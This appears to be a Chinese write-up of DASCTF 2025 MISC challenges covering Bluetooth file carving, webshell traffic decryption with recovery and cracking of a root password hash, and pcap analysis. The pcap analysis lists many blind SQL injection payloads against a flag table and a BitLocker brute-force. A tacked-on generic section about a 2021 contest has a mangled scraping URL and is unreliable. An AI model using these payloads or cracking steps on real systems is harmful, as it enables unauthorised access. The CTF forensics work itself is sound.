DASCTF 2025上半年赛|MISC全解

1、BlueTrace

小hacker用自己的工具手机连接了某个机密电脑的蓝牙,通过这个蓝牙给电脑传输了一个秘密文件,你能找到这个秘密文件的秘密吗?

根据提示传输文件,按大小降序,发现OBEX

发现传输了JPG文件,脚本转导出数据,再转JPG

转JPG图片,发现尾部还有1个ZIP文件,提取出来

发现解压缩密码提示:压缩包密码是蓝牙传输的目标电脑名字

得到解压缩密码:infernityのpc,发现无法解压缩,盲猜是大小写的问题,生成所有大小写的密码字典

正确解压缩密码:INFERNITYのPC,解压缩后得到flag.png

所有像素RGB都相同,16进制转字符串发现提示,将横向将像素的R通道全部提取出来并转16进制

DASCTF{0ba687ee-60e0-4697-8f4c-42e9b81d2dc6}

2、Webshell Plus

这段流量有点熟悉,又有点陌生...(禁止攻击题目中出现的公网IP,与解出题目无关)flag为root用户的密码的md5值,例如root用户的密码为123456,则flag为DASCTF{e10adc3949ba59abbe56e057f20f883e}

根据题目,观察一下发现最后出现大量shell.php

直接双击跳到分组52493,然后往前翻

AES加解密的Key使用RSA加密传输

传输RSA公钥

LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZU1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTUFEQ0JpQUtCZ0ZnbU95bVQ5RUp2QzhzSFRXeG92MExRV1NvbQpMNURQUmlUVUVuUW5yRG1LWUd2TlNOTUozVjFmUjFocjlqUTZvZXB2UXZqTXlXc3lUTDZKM245bmJPR2Q1dGV5Ci80QkxUWEhReWFYY1NwZmwzejYxZkJKenk5MXJaclhiek1ZMWFkSEg0Vll5VW9EUTdxa0YyL1JWblI4UEpWelIKb0puK1hhSDNSYWJrekhpdEFnTUJBQUU9Ci0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==

-----BEGIN PUBLIC KEY-----
MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFgmOymT9EJvC8sHTWxov0LQWSom
L5DPRiTUEnQnrDmKYGvNSNMJ3V1fR1hr9jQ6oepvQvjMyWsyTL6J3n9nbOGd5tey
/4BLTXHQyaXcSpfl3z61fBJzy91rZrXbzMY1adHH4VYyUoDQ7qkF2/RVnR8PJVzR
oJn+XaH3RabkzHitAgMBAAE=
-----END PUBLIC KEY-----

获得p值:519a73ca97a9e3ea,MD5后取前16位:d14d8ce94563e71a,后续AES解密的Key,题目要提交root的密码,通常在返回数据中

root:$6$usxF0HGWeE25vIFv$keFDGNYIyFJVioH.RNFyVrtK7wK3o.q5U6vTgZGFWN9NZxFGOxesnd523tCBxIF4CHY8ak3u5nid8LPwVtBGT1:20239:0:::::

root密码:slideshow

DASCTF{f3d279e1b58a1e25c092b018f035d406}

3、一把嗦

总感觉本题的出题人在隐约内涵只会用流量工具一把梭的CTFer!

题目附件222.pcapng,都是HTTP流量数据,直接导出

导出一堆文件,直接查看Request的汇总,最后出现了与flag有关的注入请求

SQL注入过程大致为注册 — 登录 — 查看用户状态,如果提示:尊贵的VIP用户,那就表示注入的字符正确

import os

folder = "./out/"
lst = os.listdir(folder)

out = ""
tmp = ""
flag = []
for i in lst:
    i = folder + i
    f = open(i,"r",encoding="utf-8")
    all_str = f.read().strip()
    f.close()

    if "(SELECT+content+FROM+flag)," in all_str and "login=1" in all_str:
        tmp_lst = all_str.split("\n")
        for j in tmp_lst:
            if "(SELECT+content+FROM+flag)," in j and "login=1" in j:
                tmp = j.strip()

    if "您是尊贵的VIP用户" in all_str and len(tmp)>0:
        out = out + tmp + "\n"
        flag.append(tmp.split("1))=")[1].split("+--+")[0])

print(out)
print(flag)

获取flag的ASCII码

username='+or+unicode(substr((SELECT+content+FROM+flag),1,1))=82+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),2,1))=69+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),3,1))=70+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),4,1))=84+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),5,1))=81+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),6,1))=49+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),7,1))=82+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),8,1))=71+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),9,1))=101+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),10,1))=122+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),11,1))=107+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),12,1))=48+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),13,1))=79+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),14,1))=71+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),15,1))=85+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),16,1))=48+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),17,1))=89+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),18,1))=122+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),19,1))=103+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),20,1))=53+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),21,1))=76+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),22,1))=84+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),23,1))=78+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),24,1))=108+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),25,1))=77+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),26,1))=109+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),27,1))=81+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),28,1))=116+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),29,1))=78+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),30,1))=68+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),31,1))=108+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),32,1))=108+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),33,1))=79+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),34,1))=83+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),35,1))=48+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),36,1))=52+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),37,1))=57+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),37,1))=57+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),37,1))=57+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),37,1))=57+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),37,1))=57+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),37,1))=57+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),37,1))=57+--+&password=123456&login=1
username='+or+unicode(substr((SELECT+content+FROM+flag),37,1))=57+--+&password=123456&login=1

['82', '69', '70', '84', '81', '49', '82', '71', '101', '122', '107', '48', '79', '71', '85', '48', '89', '122', '103', '53', '76', '84', '78', '108', '77', '109', '81', '116', '78', '68', '108', '108', '79', '83', '48', '52', '57', '57', '57', '57', '57', '57', '57', '57']

得到flag的前半段
REFTQ1RGezk0OGU0Yzg5LTNlMmQtNDllOS04
DASCTF{948e4c89-3e2d-49e9-8

导出35MB的index.php,发现包含Base64编码,解码后是7z文件,解压缩得到secret.vmdk,RStudio加载,发现BitLocker加密

Hashcat爆破

得到解密Key:esternocleidomastoideo

aaencode — Rot8000

DASCTF{948e4c89-3e2d-49e9-881a-4ba1ae5dde7e}

### DASCTF MISC 2021 题目与解题报告 对于DASCTF MISC 2021的相关题目和解题报告,虽然特定年份的具体资料可能较为零散,但从已有的资源可以推测出一些通用的方法和技术来解决这类问题。 #### 流量分析技术 流量分析是MISC类别中的一个重要方面。通过捕获并解析网络通信数据包,能够揭示隐藏的信息或者理解攻击者的行为模式[^2]。例如,在某些比中可能会遇到需要从HTTP请求响应中提取秘密信息的任务。 #### 编码与加密挑战 许多MISC类型的题目涉及到不同形式的数据编码或简单加密算法的应用。参选手需掌握Base64、十六进制转换以及更复杂的密码学概念以便快速识别并解开谜团[^1]。 #### 文件格式探索 图片文件(如PNG)、文档和其他多媒体载体常常被用来作为隐写术的媒介。了解这些文件内部结构有助于发现嵌入其中的秘密消息。比如png_master这道题就展示了如何利用图像元数据获取最终答案[DASCTF{2fd9e9ff-e27d-5405-c5f5-a19131f86216}] [^3]. #### 实际案例研究 为了更好地准备类似的竞项目,建议参考过往比期间发布的write-up文章。它们不仅提供了详细的解决方案说明,还分享了许多实用的小贴士。例如,《DASCTF八月misc部分题目复现》记录了几种有效应对USB设备相关难题的方式[^4]。 尽管上述链接主要集中在其他年度的比上,但所描述的技术同样适用于寻找有关DASCTF MISC 2021的内容。可以通过搜索引擎查询关键词"DASCTF MISC 2021 writeup" 或访问GitHub上的CTF Writeups仓库找到更多针对性材料。 ```python import requests from bs4 import BeautifulSoup def search_ctf_writeups(query): url = f"https://google.com/search?q={query}" response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') results = [] for item in soup.select('.tF2Cxc'): title = item.find('h3').get_text() link = item.find('a')['href'] snippet = item.find('span', class_='st').get_text() result = { "title": title, "link": link, "snippet": snippet } results.append(result) return results[:5] search_results = search_ctf_writeups("DASCTF MISC 2021 writeup") for i, res in enumerate(search_results, start=1): print(f"{i}. {res['title']}\n Link: {res['link']}\n Snippet: {res['snippet']}") ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值